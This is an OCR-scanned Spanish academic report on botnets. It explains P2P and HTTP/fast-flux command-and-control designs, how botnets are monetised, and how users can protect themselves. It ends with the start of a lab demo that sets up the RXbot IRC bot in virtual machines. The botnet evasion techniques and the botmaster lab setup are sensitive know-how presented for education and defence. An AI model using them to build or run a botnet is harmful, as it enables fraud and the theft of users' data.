tanto de cliente como de servidor.

Cuando se realiza una basqueda, cada cliente actGa como un pequefio servidor y se le da la
responsabilidad de ciertas palabras clave o fuentes. Esto afiade complejidad al encontrar
fuentes, ya que no existe un servidor central al que preguntar, pero a cambio se propagara
la consulta a través de la red. Y puede ser cualquiera de los nodos el que responda

% Gnutella es un proyecto de software distribuido para crear un protocolo de red de distribucién de archivos
entre pares, sin un servidor central.

% Kademlia es un protocolo de la capa de aplicacion disefiado para redes P2P descentralizadas. Especifica la
estructura de la red, regula la comunicacion entre nodos y el intercambio de informacion.

% Consultar Niveles OSI, Modelo de referencia de Interconexion de Sistemas Abiertos
http://es.wikipedia.org/wiki/Modelo_OSI

3 User Datagram Protocol (UDP) es un protocolo del nivel de transporte basado en el intercambio de
datagramas. Permite el envio de datagramas a través de la red sin que se haya establecido previamente una

conexién, ya que el propio datagrama incorpora suficiente informacion de direccionamiento en su cabecera.


http://es.wikipedia.org/wiki/Modelo_OSI
http://es.wikipedia.org/wiki/Protocolo
http://es.wikipedia.org/wiki/Nivel_de_transporte
http://es.wikipedia.org/wiki/Datagrama
http://es.wikipedia.org/wiki/Red_de_computadoras
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(caracteristica perfecta para ocultar el origen de los archivos de comandos enviados por un

botmaster).
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Figura 11: botnet basada en tablas de hash distribuidas.

Kademlia usa tablas de hash distribuidas para estructurar las basquedas de archivos. Sus
variantes més populares son eMule® o Bittorrent®. El uso masivo de estas variantes para
el intercambio de archivos es un ambiente perfecto para camuflar una red botnet,
confundiendo nuestros paquetes con los de cualquiera de estas redes P2P de uso popular en

la actualidad.

%8 eMule es un programa para intercambio de archivos con sistema P2P utilizando el protocolo eDonkey 2000
y la red Kad, publicado como software libre para sistemas Microsoft Windows.

% BitTorrent es un programa que permite a un usuario establecer una conexién tipo P2P para descargar
ficheros que otros usuarios poseen y que estan dispuestos a compartir basandose en la filosofia del mismo

BitTorrent (compartir por igual para todos) para facilitar el intercambio de los mismos.



Botnet | 27

Bajo esta idea surgieron sistemas botnet como Peacomm, méas conocido como Storm, uno
de los bots mas extendidos bajo la arquitectura P2P. Este esta basado en la arquitectura de

Kademlia.

Para la comunicacién entre botmaster y bot, Peacomm se basa en valores de hash
predecibles, ya que tanto botmaster como sus bots generan un valor de hash, introduciendo
la fecha a una funcidén conocida por ambas partes. De esta forma el botmaster puede
almacenar comandos para los nodos bajo ese valor de hash, y a continuacion los nodos

requerir el contenido.

Los nodos miembros de la red tienen asignado un identificador de nodo de 160 bits, al
igual que los archivos una key*® del mismo tamafio. Los nodos normalmente contienen los
archivos cercanos a su id de nodo. La key que identifica un archivo se calcula usando una

funcion de hash, mientras los id de nodo son generados aleatoriamente por el mismo nodo.

Peacomm aprovecha estas caracteristicas de Kademlia para evitar el contacto directo con
todos los bots por parte del botmaster. Este solo debe almacenar las 6rdenes o comandos
bajo claves de busqueda especificas. Los bots independientemente calcularan y realizaran

una peticion con esa clave de busqueda obteniendo asi los comandos.

Las compafiias dedicadas a la seguridad informética seguian en la lucha, y con el estudio
de la red hallaron la forma de anticiparse a la creacion de estas claves. De esta forma
podian entrar a formar parte de la red con un id de nodo cercano a la clave requerida y asi
identificar las IPs de los equipos comprometidos. Fue un duro golpe que inhabilitd gran

cantidad de redes botnet.

Como sucedié anteriormente con las IRC botnet, la comunidad delictiva no tardo en

rectificar sus herramientas y buscar alternativas para evitar su deteccion y eliminacion.

0 Key: clave
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Una de las alternativas a Peacomm es Overbot. Al igual que Peacomm utiliza las
busquedas para obtener los comandos del botmaster. La diferencia esta en el aspecto de
esas busquedas, ya que en Overbot solo el botmaster puede identificarlas como peticiones
de la red botnet, para el resto de nodos se trata de trafico legitimo perteneciente a la red
P2P.

Incluso cuando el atacante controla gran numero de bots y es capaz de analizar las
peticiones de los mismos, éste es incapaz de identificar las peticiones dirigidas a la red
botnet, gracias a que cada bot emite peticiones diferentes, evitando que el atacante

(empresas de seguridad y antivirus) identifique un patrén en dichas bisquedas.

Este logro se debe a que el botmaster utiliza en la comunicacion con sus bots encriptacion
asimétrica®, con un par de claves, la privada del botmaster y la publica que conocen todos
los bots. De esta forma solo el botmaster puede identificar usando la clave privada los
mensajes pertenecientes a la botnet.

Este recurso complica mucho la identificacion de estos bots, aunque mediante un largo
analisis y estudio de comportamientos anémalos finalmente son diferenciables del resto de
clientes P2P. Por ejemplo a nivel de red, un analisis estadistico apreciaria el gran nimero
de peticiones que realizan las maquinas comprometidas en relacion a los clientes P2P

legitimos.

La lucha en busca de las debilidades contrarios es constante, igual que los cambios en las

arquitecturas de botnet.

*! La criptografia asimétrica es el método criptogréfico que usa un par de claves para el envio de mensajes.
Las dos claves pertenecen a la misma persona a la que se ha enviado el mensaje. Una clave es publica y se
puede entregar a cualquier persona, la otra clave es privada y el propietario debe guardarla de modo que
nadie tenga acceso a ella. Si el remitente usa la clave publica del destinatario para cifrar el mensaje, una vez
cifrado, sélo la clave privada del destinatario podra descifrar este mensaje, ya que es el Gnico que la conoce.
http://es.wikipedia.org/wiki/Criptograf%eC3%ADa_asim%C3%A9trica
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El nuevo recurso de los ciberdelincuentes es fragmentar la red botnet, de forma que no
todos los nodos puedan verse entre si, proceden a la segmentacion de la red botnet en
varias mas pequefias. Asi la intervencion de una de ellas no afecta a las demas, viéndose
restringidas las conexiones de cada nodo a su subred no cabe posibilidad de comprometer

al resto de subredes.

El objetivo final en los sistemas botnet seria acercarse cada vez mas a los ideales:
Que un nodo capturado no comprometa al resto de la red.
Que un nodo de la red zombi no se diferencie en nada de un cliente P2P legitimo.
Que las tareas de C&C nunca comprometan al botmaster.

3.3. Dos caminos: HTTP y P2P

No se debe olvidar el parametro méas importante en la botnet ideal, como es su alta
rentabilidad, que la accion resulte lo mas lucrativa posible es la principal prioridad.

Segln esta premisa ejecutan sus movimientos los botmaster, que actualmente optan por
utilizar estructuras botnet menos robustas que las basadas en P2P pero poder

rentabilizarlas al maximo el tiempo que permanezcan activas.

En la practica una botnet P2P continta siendo vulnerable, es cierto que su erradicacién
total conlleva un proceso mas laborioso, ya que el cada vez méas cercano concepto de

descentralizacion total refuerza su subsistencia.

Pero en este proceso de descentralizacion han mermado algunas de sus armas, en la
migracion de botnet a sistemas P2P se han perdido caracteristicas de control y supervision
de flota, o el poder de sincronizar un ataque masivo con efectividad.

De ahi que muchos botmaster sigan confiando en sistemas HTTP, y se dediquen todavia a
su investigacion y desarrollo. Dando resultados realmente sorprendentes y logrando un alto

nivel de descentralizacion en la actualidad.
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Citamos el informe ‘“MessageLabs Intelligence” de 2009 (Informe Anual 2009 de
actividad de cibercriminales Articulo 1.) emitido por Symantec’’, y observamos
actualmente el peso que contintan teniendo redes botnet basadas en HTTP, en concreto

Conficker®, la cual describen como: “La mayor amenaza de seguridad de este afio”.

[..]

La mayor amenaza de seguridad de este afio ha sido el gusano Conficker/Downadup, que
permite a sus creadores instalar software de forma remota en las maquinas infectadas. El
gusano Conficker se origino a finales de 2008, pero el 1 de abril de 2009 se le afiadié una
actualizacién para malware, una funcionalidad adicional que lo mejoraba evitando su
deteccion. Conficker es un gusano especialmente preocupante, puesto que todavia se
desconoce como los ordenadores infectados podrian ser utilizados. Segun Conficker
Working Group, un grupo que ha contribuido a reducir al minimo el papel que este

malware podria haber jugado en 2009, este gusano infect6 a méas de seis millones de

ordenadores.

[...]

Informe Anual 2009 de actividad de cibercriminales emitido por Symantec. [1]

Sistemas como fast-flux redirigen el trafico de C&C en cuestion de segundos hacia las
nuevas ubicaciones de los servidores de C&C, donde los zombis recogen sus drdenes.
Miembros de la red de zombis son asignados como servidores de nombres de dominio
(double fast-flux) o proxys al servicio de las comunicaciones de la red botnet. Estos rapidos
y numerosos cambios dificultan su desarticulacién, prolongando la vida de la botnet sin

sacrificar ninguna de sus armas de explotacion y manteniendo sus prestaciones.

*2 Symantec Corporation, empresa dedicada al sector de la seguridad informética.

*3 Conficker, botnet basado en la combinacién de P2P y http en su comando y control.
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4. Negocio botnet

En los ultimos 10 afios, las redes zombi o botnets han experimentado una evolucion
enorme, de pequefas redes formadas por una decena de equipos y administradas desde un
centro a convertirse en complicados sistemas distribuidos de administracion
descentralizada que constan de millones de equipos, los profesionales dedicados al sector
de la seguridad informatica se sorprenden cada dia mas, del alto nivel profesional con el

gue son elaboradas estas herramientas para el fraude.

Y es que un cédigo de tal complejidad se atribuye a profesionales del sector del software,
programadores profesionales con pocos escrupulos son los autores de estos bots, muchos
de ellos hasta el momento al margen de la actividad hacker y que atraidos por la alta
rentabilidad de su trabajo al servicio del delincuente, han decidido cruzar la linea de la

legalidad.

En la mayoria de ocasiones no seran los hackers quienes “aprieten el gatillo” sino que
pondran su trabajo a disposicion del delincuente a cambio de compensacién econémica.
Todo esto genera un mercado paralelo a la actividad hacker, donde se comercia con

informacion y herramientas para el fraude en la red.

Aunque se trate de actividad ilegal y los tratos sean clandestinos, la relacion proveedor
cliente es exactamente igual que en cualquier empresa, pues el hacker ha encontrado un
comprador fiable para su trabajo y quiere mantenerlo, un objetivo comun los llevara a una
estrecha colaboracion, mantener la botnet. ElI programador continuard creando nuevos
complementos para sus bots, con el fin de aumentar el tamafio de la red zombi y su

explotacion.

4.1. Métodos de explotacion
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Para su explotacién veremos a continuacion las principales tendencias: ataques DDOS
(Ataque de denegacion de servicio), robo de informacion confidencial, envio de spam
(envio masivo de correo no deseado), fraude de clics y descarga de software malicioso.

Cualquier método es valido para rentabilizar una botnet, ademas un mismo bot puede
utilizar todos los métodos simultdneamente, y mediante nuevos complementos, adaptarse

para abordar nuevos fraudes que aparezcan en el futuro.

4.1.1. Ataques DDOS

Los ataques DDOS dejan incomunicado el equipo informatico victima, mediante el envio
de gran cantidad de solicitudes hasta que ésta sea incapaz de procesarlas. Estos ataques son
utilizados en entornos empresariales contra la competencia, o para la extorsion y chantaje
por parte del duefio de la botnet, el cual pide un rescate a cambio de liberar las

comunicaciones de la entidad.

En la red se encuentra gran cantidad de publicidad de servicios de ataque DDOS, al alcance
de cualquiera en algunos foros especificos de este entorno delicitivo. Los ataques pueden
costar desde 50 hasta miles de dolares, segun la magnitud del ataque, cuantos zombis son
necesarios para que el ataque logre bloquear a la victima y durante cuanto tiempo se

mantendré la incomunicacion.

4.1.2. Robo de informacién confidencial

La informacion que alberga en su maquina el usuario como nimeros de tarjetas de crédito,
documentos, contrasefias de servicios online, entre otros, son un suculento pastel para los

ciberdelincuentes.
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Con esta informacion podrian utilizar tarjetas de crédito ajenas, suplantar al usuario en

aplicaciones de mensajerfa instantanea, utilizar cuentas de servicios como PayPal*, etc.

Por parte del hacker toda esta informacion sustraida se pondré a la venta en los numerosos
escaparates que aloja Internet para el mercadeo ilicito. En estos casos, los datos bancarios
son los mas cotizados, segun el saldo de la cuenta su precio puede oscilar hasta los 2000
ddlares, aunque lo mas normal es encontrar ofertas por la mddica cantidad de unos diez
euros. Y es que este mercado como cualquier otro disfruta de libre competencia, por lo que
los precios se ajustan al méximo. Es casi tan importante la frescura de los datos como el
saldo que alberga la cuenta. El caché del hacker en cuestion es un valor afiadido en este

tipo de ventas, directamente proporcional al tamafio y calidad de su botnet.

El resto de datos del usuario o las cuentas de correo electrénico también tiene lugar en

estos foros underground*® convertidos en tiendas virtuales.

Cuentas de servicios como PayPal, usuarios FTP*, etc., conllevan fraudes no tan
comprometedores como los datos bancarios, mas dificiles de rastrear por las autoridades y

aungue en menor medida, muy rentables.

Recopilar direcciones de correo para su posterior uso por parte de los spammers también
da sus frutos, y aunque su precio es muy bajo, se pueden obtener sencilla y rapidamente, ya
que cada maquina alberga una gran cantidad de direcciones.

Los datos personales completos de los usuarios sirven a todo tipo de delincuentes (no solo

ciberdelincuentes) para abrir cuentas, falsificar documentos, y efectuar todo tipo de

* PayPal es una empresa estadounidense perteneciente al sector del comercio electrénico por Internet que
permite la transferencia de dinero entre usuarios que tengan correo electrénico, una alternativa al tradicional
método en papel como los cheques o giros postales.

** Underground (subterraneo en espafiol) es un término inglés con el que se designa a los movimientos
contraculturales que se consideran alternativos, paralelos, contrarios o ajenos a la cultura oficial.

* ETP (sigla en inglés de File Transfer Protocol - Protocolo de Transferencia de Archivos) en informética, es

un protocolo de red para la transferencia de archivos entre sistemas conectados a una red TCP.
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autentificacion sin levantar la mas minima sospecha ya que los datos pueden ser

contrastados con una identidad real.

Los datos de tarjetas de crédito son utilizados por falsificadores de las mismas. Hace dos
afios se arrestd a unos delincuentes brasilefios que mediante este método llegaron a robar

mas de 4 millones de délares de cuentas bancarias de los usuarios.

4.1.3. Hosting

Existe gran cantidad de sitios web dedicados a la actividad ilegal, que tras ser denunciados
se ven clausurados de inmediato. Hablamos de contenidos como: venta de farmacos ilegal,
spam, scam*’, phishing®, distribucién de troyanos o botnet. Es por eso que est4 empezando
a proliferar el llamado hosting without abuse (Hosting sin abusos), la caracteristica
especial de este tipo de hosting®®, es que al propietario de dicho servicio no le preocupa en
absoluto el contenido que pongan sus clientes, ademas de comprometerse a ignorar todo

tipo de denuncias y criticas de los usuarios.
En el mantenimiento de estos host es donde entran los sistemas botnet con sus recursos de

redireccionamiento basados en tecnologias fast-flux y multiples proxys, con ellos es posible

el cambio de las IPs regularmente garantizando su subsistencia y alargando su vida.

4.1.4. Spam

" Scam (estafa en inglés) es un término anglosajon que se emplea para designar el intento de estafa a través
de a un correo electrénico fraudulento (o paginas web fraudulentas).

*® Phishing es un término informético que denomina un tipo de delito encuadrado dentro del ambito de las
estafas cibernéticas, y que se comete mediante el uso de un tipo de ingenieria social caracterizado por intentar
adquirir informacion confidencial de forma fraudulenta (como puede ser una contrasefia 0 informacién
detallada sobre tarjetas de crédito u otra informacion bancaria).

* El alojamiento web (en inglés web hosting) es el servicio que provee a los usuarios de Internet un sistema

para poder almacenar informacion, imagenes, video, o cualquier contenido accesible via Web.



Botnet | 35

El spam o correo no deseado es utilizado para publicitar productos y servicios, el aumento

de ventas es considerable, y mientras sea asi seguira proliferando esta practica.

[..]
Pues se ha revelado, que tan solo 8 de tales redes de botnets son responsables de casi el

100% de todo el SPAM y crimen en Internet, y de esos 8, tan solo uno de ellos es
responsable de casi el 40%.
[..]

8 botnets responsable del casi 100% del SPAM global. [2]

[...]

En cuanto a Pushdo, todavia se desplaza sin levantar grandes polvaredas, si bien esta
ubicado en el puesto nimero dos en la fila de botnets mas grandes de todo el mundo.
Segun la especialista en seguridad Trend Micro, este codigo malicioso envia entre cerca
de 8 mil millones de correos no deseados por dia. Si, es una cifra alarmante: esto

significa que uno de cada 25 correos es enviado por Pushdo.

[..]

8 mil millones de spam diarios por un botnet. [3]

Los articulos 4 y 5 revelan la importancia de los sistemas botnet para tareas de envio de

correo masivo, siendo los principales responsables de casi la totalidad del spam mundial.

En la actualidad y gracias a las botnets el uso de spam para publicidad se ha extendido a
otros segmentos de la red, como son: redes sociales, aplicaciones de mensajeria
instantanea, foros de discusién e incluso a los blogs. Nuevos horizontes para la economia

del delincuente.

4.1.5. Fraude de clics
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Las compafiias publicitarias que funcionan online segun el esquema PPC (Pay-per-Click)
pagan dinero por cada clic Unico en sus anuncios. Para los propietarios de botnets, engafiar

a estas compafiias es una actividad bastante lucrativa.

Como ejemplo podemos tomar la conocida red Google®® AdSense. Los anunciantes pagan
a Google por los clics en los anuncios, con la esperanza de que el visitante compre algo en
sus tiendas online™.

Por su parte, Google pone los anuncios contextuales en los diferentes sitios participantes en
el programa AdSense y pagan al duefio del sitio por cada clic. Desgraciadamente, no todos
los propietarios de sitios son honrados. Asi, disponiendo de una botnet, un hacker puede
generar miles de clics Unicos al dia, uno en cada equipo zombi, para no despertar las

sospechas de Google.

%0 Google Inc. es la empresa propietaria de la marca Google, cuyo principal producto es el motor de bisqueda
del mismo nombre. Fue fundada el 4 de septiembre de 1998 por Larry Page y Sergey Brin.

* Tiendas dedicadas a la venta en Internet.
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5. Toma de conciencia

Internet sigue creciendo a pasos agigantados, cada dia hay méas hogares conectados a la
red, cada dia mas empresas cambian el fax por el e-mail, y asi cada dia el hacker ve mas
posibilidades, es consciente de este crecimiento y no dejara de aprovecharlo. En los inicios
de la red de redes la extension de su territorio era escasa, s6lo unos pocos usuarios y
entidades estaban conectados a la red, en consecuencia también era escasa la rentabilidad
de la actividad ilegal, pero con el crecimiento de Internet el delito ha empezado a ser muy

tentador a la vez que lucrativo.

5.1. Software antivirus

Crece Internet en numero de conexiones y con ella el nimero de posibles victimas, sin la
toma de conciencia del usuario, cada nueva conexién a internet en el hogar o empresa

estara alimentando esta actividad ilegal.

El articulo citado a continuacion (Art.2) refleja los datos recogidos durante el mes de
octubre de 2009 por PandalLabs? (Red de Laboratorios de Investigacion de Virus), segin
los cuales, como refleja su titulo: “Espafia encabeza el ranking mundial de infecciones de

virus”.

Al final del articulo hacen una recomendacion: “Recordad tener un buen antivirus instalado

y actualizado”.

52 panda Security S.L., anteriormente Panda Software, es una compafifa multinacional de seguridad
informatica fundada en 1990 por el ex director general de Panda, Mikel Urizarbarrena, en la ciudad de

Bilbao, en Espafia.
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El usuario debe ser consciente de la continua evolucion de los virus y botnet, viendo las
continuas modificaciones y nuevas creaciones de software malicioso, una gran cantidad de
personas, la gran mayoria parte de empresas dedicadas al desarrollo de antivirus, persiguen
la forma de protegernos de las nuevas amenazas. Ese esfuerzo tiene como resultado

actualizaciones casi diarias de nuestro software antivirus.

Espafia encabeza el ranking mundial de infecciones de virus

npor PDD20 » 08 Nov 2009, 13:07

Segun los datos recogidos por Pandalabs durante el mes de octubre, Espafia encabeza el
ranking (con un 44,49% del total) de ordenadores infectados por bots, software que una
vez introducido en el PC sirve para que los hackers tomen control remoto del mismo y
puedan realizar diferentes acciones, como el envio de spam, de virus, gusanos y troyanos,
etc.

Le sigue muy por debajo Estados Unidos, con un 14,41%; México, con un 9,37, y Brasil,
que baja a un 4,81%. Entre los paises menos infectados, figura Perd, Holanda y Suecia,
con ratios por debajo del 1%.

Estas redes de bots las crean los hackers para utilizarlas con diferentes fines. Entre ellos,
para el envio de spam o la distribucion de virus. En nuestro pais, Madrid encabeza el
ranking de provincias con ordenadores infectados que estan enviando spam, con un
25,92%; seguido por Barcelona, con un 15,52%, y Sevilla, con un 6,06%.

Recordad tener un buen antivirus instalado y actualizado.

Espafia encabeza el ranking mundial de infecciones de virus. [4]

Es importante sigan trabajando con la misma intensidad que hasta ahora, pues de ello

depende, en gran parte, el numero de victimas infectadas diariamente.

5.2. Responsabilidad del usuario


http://www.elgrupoinformatico.com/espana-encabeza-ranking-mundial-infecciones-virus-t6538.html
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No se debe dar toda la responsabilidad a nuestro software antivirus, pues la explosion de
malware>® de 2009 y las nuevas amenazas estan continuamente tratando de evadir los

sistemas de deteccion tradicionales.

Los ataques tienen nuevos frentes que el antivirus no puede proteger, frentes como la
ingenieria social son por ahora responsabilidad exclusiva del usuario final. Se conoce
como ingenieria social cualquier método de engafio que logre inducir a la victima a instalar

el bot ella misma.

Este método utiliza herramientas como las redes sociales, foros, spam, o incluso los
programas de mensajeria instantanea. Ocultar el bot en cualquier tipo de objeto atractivo
para la victima, incluyendo el codigo malicioso en archivos como videos, imagenes,
masica, o en el mismo cédigo HTML de una web, en cuyo caso seré el navegador el que

automaticamente instalara el bot al pulsar sobre el enlace.

En estos casos, poco tiene que hacer el software antivirus, pues aparentemente el software

es instalado por el administrador del sistema y se reconoce como legitimo.

Por eso es igual 0 mas importante la toma de conciencia del usuario que tener un antivirus
actualizado. En esa direccidn, la de poner en conocimiento del usuario ciertas precauciones
que debe tomar en el uso de Internet, van las siguientes lineas, enumerando dichas

precauciones.

5.2.1. Medidas contra la infeccion

Tener instalado software antivirus y actualizado es primordial como hemos dicho, por eso

siempre se debe de configurar para que se actualice automéaticamente.

5% Malware (del inglés malicious software, también llamado badware, software malicioso o software
malintencionado) es un software que tiene como objetivo infiltrarse en el sistema y dafiar la computadora sin
el conocimiento de su duefio, con finalidades muy diversas, ya que en esta categoria encontramos desde un

troyano a un spyware.
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En las opciones de seguridad del navegador, la configuracion debe ser lo més restrictiva

posible.

Ademas, mientras se trabaja con Internet no son necesarios permisos de administrador para
ninguna de las tareas rutinarias, no se debe tomar por costumbre el uso del usuario
“Administrador” como valido para todo en todo momento. Se deberia crear un usuario con

derechos limitados para el trabajo en Internet.

La actualizacidn del sistema operativo y las aplicaciones instaladas en el sistema también
previene las infecciones, ya que los estudios de los “ciberdelincuentes” desvelan nuevas

debilidades continuamente.

Respecto al sistema operativo, cuanto menos lleve en el mercado, menos tiempo para
estudiar sus debilidades han tenido los hackers, siendo menos vulnerable ante posibles

amenazas.

En cuanto a evitar la infeccion mediante ingenieria social, son muchas las precauciones a
tomar y en un corto periodo de tiempo se multiplican los métodos de infeccion conocidos,
a continuacion se nombraran algunos a modo de prevencién, pero la norma general que
rige estos ataques es el desconocimiento, el “timo de la estampita” o el “dar gato por

liebre”.
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Figura 12: Intento de infeccién IM.

Por norma general para evitar los ataques basados en ingenieria social, lo mas importante
es conocer el origen de todo el contenido que se visita 0 descarga de Internet y su

fiabilidad.

Nunca haga clic en los archivos adjuntos en mensajes de e-mail a menos que pueda
verificar su origen. EIl spam es un método de distribucion de bots muy efectivo, mails con

titulo: “Mira las fotos de la ultima fiesta”, pueden albergar cédigo malicioso.
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[...]
Una de las botnets utilizadas para enviar spam (denominadas spambots) mas activas

durante 2009, fue la red armada por Waledac. Este troyano se ha propagado desde
finales de 2008 con diferentes técnicas de Ingenieria Social, logrando su crecimiento
mas importante en febrero de 2009 con la campafia de falsas postales por el dia de San
Valentin.

[...]

Waledac, el troyano enamorado. [5]

El mismo mensaje anterior, lo escribe un contacto mediante un programa de mensajeria
instantanea, y a continuacion remite un archivo ZIP** o un enlace a una web. Puede que ese
contacto este infectado por un bot y no tenga conocimiento de ello. No acepte ni entre en la
URL®” hasta asegurarse de que su contacto se lo envia y no es obra de un bot que pretende

infectar su maquina.

No utilice analisis de seguridad “gratuitos” que aparecen en muchos sitios web. Con gran

frecuencia, son falsos.

El simple clic sobre un enlace de dudoso destino, pude conllevar una infeccion, se debe

tener cuidado con el uso de enlaces cortos, donde solo se muestra parte de la URL.

La infeccién mediante la carga de una web en el navegador, aprovecha exploits®® o

vulnerabilidades del mismo, pero en todos los casos lo hace ejecutando Javascript®. En

> En informatica, ZIP o zip es un formato de almacenamiento sin pérdida, muy utilizado para la compresién
de datos como iméagenes, programas o documentos.

> Un localizador uniforme de recursos, mas cominmente denominado URL (sigla en inglés de uniform
resource locator), es una secuencia de caracteres, de acuerdo a un formato estandar, que se usa para hombrar
recursos, como documentos e imagenes en Internet, para su localizacion.

% Exploit (del inglés to exploit, explotar o aprovechar) es una pieza de software, un fragmento de datos, o
una secuencia de comandos con el fin de automatizar el aprovechamiento de un error, fallo o vulnerabilidad,
a fin de causar un comportamiento no deseado o imprevisto en los programas informaticos, hardware, o

componente electronico (por lo general computarizado).
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este caso, configurar los navegadores para avisar antes de ejecutar JavaScripts eliminara

posibilidades de infeccion.

Estas y otras muchas medidas forman parte de la ya conocida educacion del usuario. Se
trata de conseguir usuarios inteligentes tal como afirma Richi Jennings, (analista jefe para
seguridad en el correo electronico de Ferris Research) en su articulo para ComputerWorld
(Art. 3).

[..]

Conseguir usuarios inteligentes

En materia de seguridad, la educacion del usuario es un elemento de prevencién clave que
todos tenemos a nuestro alcance, tanto en una gran empresa, coOmo en una pequefia
compafiia, en una oficina local o en el hogar. Segun la mayoria de los expertos, todo el
problema reside en que la gente no deja de hacer clicken practicamente cualquier elemento.
Asi, es necesario educar a los usuarios para que sean conscientes de que, igual que hay unas
précticas seguras para conducir, las hay para utilizar ordenadores. Ademas, Jennings afiade

que “si la gente dejase de comprar productos de spam, éste desapareceria”. ;O no?

Cuatro pasos para luchar contra los botnets. [6]

57 JavaScript es un lenguaje de scripting basado en objetos, utilizado para acceder a objetos en aplicaciones.
Principalmente, se utiliza integrado en un navegador web permitiendo el desarrollo de interfaces de usuario

mejoradas y paginas web dindmicas.
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6. Conclusion

Durante el ultimo afio, a ojos de los usuarios, las amenazas e infecciones parecen haber
disminuido, se puede tener la percepcion de estar venciendo esta guerra, dando pie a una

falsa sensacion de seguridad.

Lo que ha sucedido realmente ha sido una migracién por parte de los ciberdelincuentes. De
manera que los escandalosos gusanos de infeccion masiva que antafio acosaban a los
usuarios inundando las maquinas de publicidad y interrumpiendo su actividad han sido

desterrados, desterrados o mejor dicho sustituidos.

Los estudios de comparfiias dedicadas al sector de la seguridad informética siguen
reflejando un crecimiento en los ataques y amenazas. Esta contradiccion se debe al uso de

botnet como nuevo medio de subsistencia de estos delincuentes.

Botnet es sin duda la mas rentable de las herramientas y también muy sigilosa en
comparacion a los gusanos que la precedieron, por eso existe esa falsa sensacién de

seguridad por parte del usuario.

Ademas, el sistema botnet es capaz de alimentar no solo a sus duefios sino a toda una
comunidad a la cual lleva de la mano. Todos los negocios cibernéticos delictivos son

influenciados por las botnet.

Los propietarios de botnet son clientes de servicios como la creacion y cifrado de codigos
maliciosos, la investigacion y creacion de exploits, el hosting a prueba de abusos y la
distribucion de mecanismo de infeccién. Financiando toda esta actividad antes y durante el
funcionamiento de la botnet. Por no hablar de spam, tarjetas de crédito y datos robados,

donde el botnet se ha convertido en herramienta imprescindible.

Por eso la actividad botnet se ha convertido en el engranaje principal en todo movimiento

delictivo en la red. Ingresando enormes cantidades de dinero por medio del envio de spam
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6. Conclusién

y robo de datos a los usuarios, a la vez que financia al resto de la comunidad de

ciberdelincuentes solicitando sus servicios para la mejora y mantenimiento de la botnet.

Mediante la colaboracion de los expertos en seguridad, los proveedores de Internet y las
fuerzas del orden se lleva a cabo la lucha contra este fendmeno. Aunque hasta ahora ha
sido del todo inefectivo. Puesto que las leyes que condenan toda esta actividad son

inexistentes en muchos paises, en los cuales pueden refugiarse estos hackers.

Por ahora, sin la ayuda de los usuarios, la lucha no puede ser efectiva. Los ordenadores
domésticos forman la mayor parte del ejército de las botnets. Es necesario tomar medidas
en los hogares. La informacion de los usuarios los educara en el uso de la red, para evitar el

clickeo constante sin criterio alguno. El concepto es educar a los usuarios.

Mirando al futuro, los expertos en seguridad basan sus esfuerzos en el estudio del
comportamiento de las IPs y los usuarios para préximas versiones de proteccion antivirus.
Dejando atras criterios basados en firmas, para abordar el comportamiento del usuario y las
aplicaciones que utiliza como plantilla para detectar y desactivar posibles amenazas a partir

de anomalias en el comportamiento de la méquina.

David Perry es un viejo zorro en la lucha contra los virus informaticos. Ha pasado por
las mas importantes empresas del sector y hoy es director mundial de formacion de
Trend Micro.

[...]

P. ¢ El antivirus del futuro es tratarnos como tontos?

R. Porgue tenemos que proteger de cada vez mas cosas: correo basura, gusanos, ataques

por web, troyanos, zombis, virus publicitarios, programas espia. Por suerte, nuestras
metodologias son cada vez mejores. En los proximos dos afios acabaremos

con las botnets, un software que controla remotamente tu ordenador.

[..]

ENTREVISTA A DAVID PERRY, director mundial de formacién de Trend Micro. [7]
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Anexo I: Demostracion

En la adquisicion de una botnet se pueden encontrar varios tipos de producto: la
posibilidad de alquilar una red botnet en pleno funcionamiento con un ndmero
considerable de maquinas ya infectadas y listas para llevar a cabo su explotacién, o por el
contrario, el hacker o desarrollador suministra los ingredientes necesarios para la puesta en

marcha de la botnet.

El ingrediente principal seria el bot, que realiza la infeccién inicial convirtiendo en zombis

a sus victimas.

A continuacidn y para reforzar la expansién de la botnet podrian afiadirse complementos a
este bot inicial, que por ejemplo aprovechen nuevos exploits o se distribuyan mediante
nuevos métodos como IM. O por otro lado estos complementos podrian formar parte de la
explotacion de la botnet, por ejemplo enviando spam publicitario de casinos online.

Existen cantidad de posibilidades.

En este caso en particular, se ha partido de un bot inicial, lamado RXbot®, basado en IRC,
y entrando en el papel de un botmaster real, se reconstruye la accion, desde la adquisicién
del bot malicioso, su preparacion y puesta en marcha siguiendo las instrucciones del autor
del bot.

Se ha montado un banco de pruebas donde observar la actividad de la red botnet a pequefia
escala, formada por un equipo infectado por RXbot. Un segundo equipo que alberga el
servidor IRC para el comando y control de la botnet. Y por ultimo un cliente IRC en el
papel de botmaster que podra conectarse desde un tercer equipo o desde el mismo servidor
IRC.

%8 RXbot



48 | Anexo |: Demostracion

Para realizar esta demostracion con recursos minimos, se utiliza virtualizacion®®, mediante
la herramienta VMWARE® se ponen en marcha 3 equipos con sistema operativo Windows
XP SP2.

- En el que llamaremos equipo A, sera necesaria la instalacion de un servidor IRC.

En este caso se ha utilizado IRCPlus®’.

- En el equipo B, utilizado por el botmaster, es necesario un cliente IRC, aunque

cualquier cliente serviria, en este caso se ha puesto en marcha mediante MIRC®?,

- El equipo C hara el papel de victima por lo que no necesita ningin cambio ni

actualizacion.

> Virtualizacion: medio para crear una version virtual de un dispositivo o recurso, como un servidor, un
dispositivo de almacenamiento, una red o incluso un sistema operativo, donde se divide el recurso en uno o
mas entornos de ejecucion.

% vMware Inc., (VM de Virtual Machine) filial de EMC Corporation que proporciona la mayor parte del
software de virtualizacion disponible para ordenadores compatibles X86.

81 Software servidor de IRC.

%2 mIRC el cliente IRC més extendido para plataformas Microsoft Windows.
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Servidor IRC
Command & Control server

I:l Equipo A

Botmaster

/ﬁ"& )

@\_ Ff Equipo B [ =" EquipoC
\ ﬁLﬁ Bot
—-—-”;Ef:;_“

Figura 13: Estructura simulacion red botnet.

+ mIRC - [#Zombies (server.simulacion. botnet, koko) [ 2] [+ nriTk kokoloko]]
File Wiew Fawvarites Tools Commands Window Help

b e G0N B2 EDB|2

(2 server simulacion.... [ HZombies l

Ekoko
Eg" server, simulacion, botnet ESP|57498
=13 Chanrel: 1
#Zombies

* Mow talking in #Zombies

Figura 14:Canal #Zombies tras la infeccién del equipo C.

1. Se inicia la autentificacion por parte del botmaster mediante el comando “.login” e
inmediatamente el bot contesta “Password accepted.”
